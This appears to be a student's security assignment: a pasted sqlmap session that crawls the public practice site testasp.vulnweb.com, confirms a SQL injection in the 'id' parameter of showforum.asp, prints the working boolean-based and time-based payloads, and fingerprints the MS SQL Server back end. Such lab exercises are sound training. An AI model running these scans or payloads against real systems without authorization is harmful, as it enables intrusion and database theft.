**NAME :** SHAIK JASMIN

**ASSIGNMENT : 3**

**COLLEGE :** ANNAMACHARYA INSTITUTE OF TECHNOLOGY & SCIENCES, TIRUPATI

**BRANCH :** CSE(CIC)

**E-MAIL:** [jasminshaik523@gmail.com](mailto:jasminshaik523@gmail.com)

**1.**

┌──(root㉿kali)-[/home/kali]

└─# sqlmap -u http://testasp.vulnweb.com/ --crawl 2 --batch

\_\_\_

\_\_H\_\_

\_\_\_ \_\_\_[)]\_\_\_\_\_ \_\_\_ \_\_\_ {1.7.11#stable}

|\_ -| . [(] | .'| . |

|\_\_\_|\_ ["]\_|\_|\_|\_\_,| \_|

|\_|V... |\_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[\*] starting @ 03:44:49 /2024-02-25/

do you want to check for the existence of site's sitemap(.xml) [y/N] N

[03:44:49] [INFO] starting crawler for target URL 'http://testasp.vulnweb.com/'

[03:44:49] [INFO] searching for links with depth 1

[03:44:50] [INFO] searching for links with depth 2

please enter number of threads? [Enter for 1 (current)] 1

[03:44:50] [WARNING] running in a single-thread mode. This could take a while

do you want to normalize crawling results [Y/n] Y

do you want to store crawling results to a temporary file for eventual further processing with other tools [y/N] N

[03:44:53] [INFO] found a total of 5 targets

[1/5] URL:

GET http://testasp.vulnweb.com/Templatize.asp?item=html/about.html

do you want to test this URL? [Y/n/q]

> Y

[03:44:53] [INFO] testing URL 'http://testasp.vulnweb.com/Templatize.asp?item=html/about.html'

[03:44:53] [INFO] using '/root/.local/share/sqlmap/output/results-02252024\_0344am.csv' as the CSV results file in multiple targets mode

[03:44:53] [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDCSQBSASC=MLNEPHEBPND...CAKNJLJBJI'). Do you want to use those [Y/n] Y

[03:44:53] [INFO] checking if the target is protected by some kind of WAF/IPS

[03:44:53] [WARNING] reflective value(s) found and filtering out

[03:44:53] [INFO] testing if the target URL content is stable

[03:44:54] [INFO] target URL content is stable

[03:44:54] [INFO] testing if GET parameter 'item' is dynamic

[03:44:54] [WARNING] GET parameter 'item' does not appear to be dynamic

[03:44:54] [WARNING] heuristic (basic) test shows that GET parameter 'item' might not be injectable

[03:44:54] [INFO] testing for SQL injection on GET parameter 'item'

[03:44:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[03:44:58] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[03:44:59] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'

[03:45:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[03:45:04] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'

[03:45:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'

[03:45:07] [INFO] testing 'Generic inline queries'

[03:45:08] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'

[03:45:09] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'

[03:45:11] [INFO] testing 'Oracle stacked queries (DBMS\_PIPE.RECEIVE\_MESSAGE - comment)'

[03:45:13] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'

[03:45:15] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'

[03:45:17] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'

[03:45:18] [INFO] testing 'Oracle AND time-based blind'

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y

[03:45:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[03:45:26] [WARNING] GET parameter 'item' does not seem to be injectable

[03:45:26] [ERROR] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent', skipping to the next target

[03:45:26] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 73 times

[2/5] URL:

GET http://testasp.vulnweb.com/Login.asp?RetURL=/Default.asp%3F

do you want to test this URL? [Y/n/q]

> Y

[03:45:26] [INFO] testing URL 'http://testasp.vulnweb.com/Login.asp?RetURL=/Default.asp%3F'

[03:45:26] [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDCSQBSASC=DMNEPHEBEHK...PIEHMJMKNH'). Do you want to use those [Y/n] Y

[03:45:27] [INFO] checking if the target is protected by some kind of WAF/IPS

[03:45:27] [INFO] testing if the target URL content is stable

[03:45:28] [INFO] target URL content is stable

[03:45:28] [INFO] testing if GET parameter 'RetURL' is dynamic

[03:45:28] [WARNING] GET parameter 'RetURL' does not appear to be dynamic

[03:45:29] [WARNING] heuristic (basic) test shows that GET parameter 'RetURL' might not be injectable

[03:45:29] [INFO] testing for SQL injection on GET parameter 'RetURL'

[03:45:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[03:45:29] [WARNING] reflective value(s) found and filtering out

[03:45:32] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[03:45:33] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'

[03:45:36] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[03:45:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'

[03:45:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'

[03:45:42] [INFO] testing 'Generic inline queries'

[03:45:43] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'

[03:45:44] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'

[03:45:46] [INFO] testing 'Oracle stacked queries (DBMS\_PIPE.RECEIVE\_MESSAGE - comment)'

[03:45:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'

[03:45:49] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'

[03:45:51] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'

[03:45:53] [INFO] testing 'Oracle AND time-based blind'

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y

[03:45:54] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[03:45:58] [WARNING] GET parameter 'RetURL' does not seem to be injectable

[03:45:58] [ERROR] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent', skipping to the next target

[3/5] URL:

GET http://testasp.vulnweb.com/Register.asp?RetURL=/Default.asp%3F

do you want to test this URL? [Y/n/q]

> Y

[03:45:58] [INFO] testing URL 'http://testasp.vulnweb.com/Register.asp?RetURL=/Default.asp%3F'

[03:45:58] [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDCSQBSASC=FMNEPHEBAPF...BHPKNAEIME'). Do you want to use those [Y/n] Y

[03:45:58] [INFO] checking if the target is protected by some kind of WAF/IPS

[03:45:59] [INFO] testing if the target URL content is stable

[03:45:59] [INFO] target URL content is stable

[03:45:59] [INFO] testing if GET parameter 'RetURL' is dynamic

[03:45:59] [WARNING] GET parameter 'RetURL' does not appear to be dynamic

[03:46:00] [WARNING] heuristic (basic) test shows that GET parameter 'RetURL' might not be injectable

[03:46:00] [INFO] testing for SQL injection on GET parameter 'RetURL'

[03:46:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[03:46:00] [WARNING] reflective value(s) found and filtering out

[03:46:03] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[03:46:04] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'

[03:46:06] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

[03:46:08] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'

[03:46:09] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'

[03:46:11] [INFO] testing 'Generic inline queries'

[03:46:12] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'

[03:46:13] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'

[03:46:14] [INFO] testing 'Oracle stacked queries (DBMS\_PIPE.RECEIVE\_MESSAGE - comment)'

[03:46:16] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'

[03:46:17] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'

[03:46:19] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'

[03:46:21] [INFO] testing 'Oracle AND time-based blind'

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y

[03:46:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

[03:46:26] [WARNING] GET parameter 'RetURL' does not seem to be injectable

[03:46:26] [ERROR] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent', skipping to the next target

[4/5] URL:

GET http://testasp.vulnweb.com/showforum.asp?id=0

do you want to test this URL? [Y/n/q]

> Y

[03:46:26] [INFO] testing URL 'http://testasp.vulnweb.com/showforum.asp?id=0'

[03:46:26] [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDCSQBSASC=LMNEPHEBPED...FDOHDEILAG'). Do you want to use those [Y/n] Y

[03:46:26] [INFO] testing if the target URL content is stable

[03:46:27] [INFO] target URL content is stable

[03:46:27] [INFO] testing if GET parameter 'id' is dynamic

[03:46:27] [WARNING] GET parameter 'id' does not appear to be dynamic

[03:46:28] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable

[03:46:28] [INFO] testing for SQL injection on GET parameter 'id'

[03:46:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[03:46:29] [WARNING] reflective value(s) found and filtering out

[03:46:30] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)

[03:46:37] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Microsoft SQL Server'

it looks like the back-end DBMS is 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y

for the remaining tests, do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1) values? [Y/n] Y

[03:46:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'

[03:46:37] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'

[03:46:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)'

[03:46:38] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT)'

[03:46:38] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)'

[03:46:39] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)'

[03:46:39] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'

[03:46:39] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'

[03:46:40] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Stacking (EXEC)'

[03:46:40] [INFO] testing 'Generic inline queries'

[03:46:40] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'

[03:46:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'

[03:47:16] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)'

[03:47:52] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'

[03:48:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (DECLARE)'

[03:49:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'

[03:49:38] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF - comment)'

[03:50:13] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'

[03:50:14] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heavy query)'

[03:51:14] [INFO] GET parameter 'id' appears to be 'Microsoft SQL Server/Sybase OR time-based blind (heavy query)' injectable

[03:51:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

[03:51:14] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found

[03:51:14] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test

[03:51:16] [INFO] target URL appears to have 2 columns in query

do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N

injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y

[03:51:21] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')

[03:51:55] [WARNING] there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests

[03:51:55] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)

[03:51:55] [WARNING] most likely web server instance hasn't recovered yet from previous timed based payload. If the problem persists please wait for a few minutes and rerun without flag 'T' in option '--technique' (e.g. '--flush-session --technique=BEUS') or try to lower the value of option '--time-sec' (e.g. '--time-sec=2')

[03:52:29] [INFO] checking if the injection point on GET parameter 'id' is a false positive

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection point(s) with a total of 102 HTTP(s) requests:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=0 AND 2851=2851

Type: time-based blind

Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)

Payload: id=0 OR 9812=(SELECT COUNT(\*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)

---

do you want to exploit this SQL injection? [Y/n] Y

[03:52:31] [INFO] testing Microsoft SQL Server

[03:52:31] [INFO] confirming Microsoft SQL Server

[03:53:01] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)

[03:53:24] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 8.1 or 2012 R2

web application technology: ASP.NET, Microsoft IIS 8.5, ASP

back-end DBMS: Microsoft SQL Server 2014

[03:53:24] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 87 times

SQL injection vulnerability has already been detected against 'testasp.vulnweb.com'. Do you want to skip further tests involving it? [Y/n] Y

[03:53:24] [INFO] skipping 'http://testasp.vulnweb.com/showthread.asp?id=0'

[03:53:24] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share/sqlmap/output/results-02252024\_0344am.csv'

[\*] ending @ 03:53:24 /2024-02-25/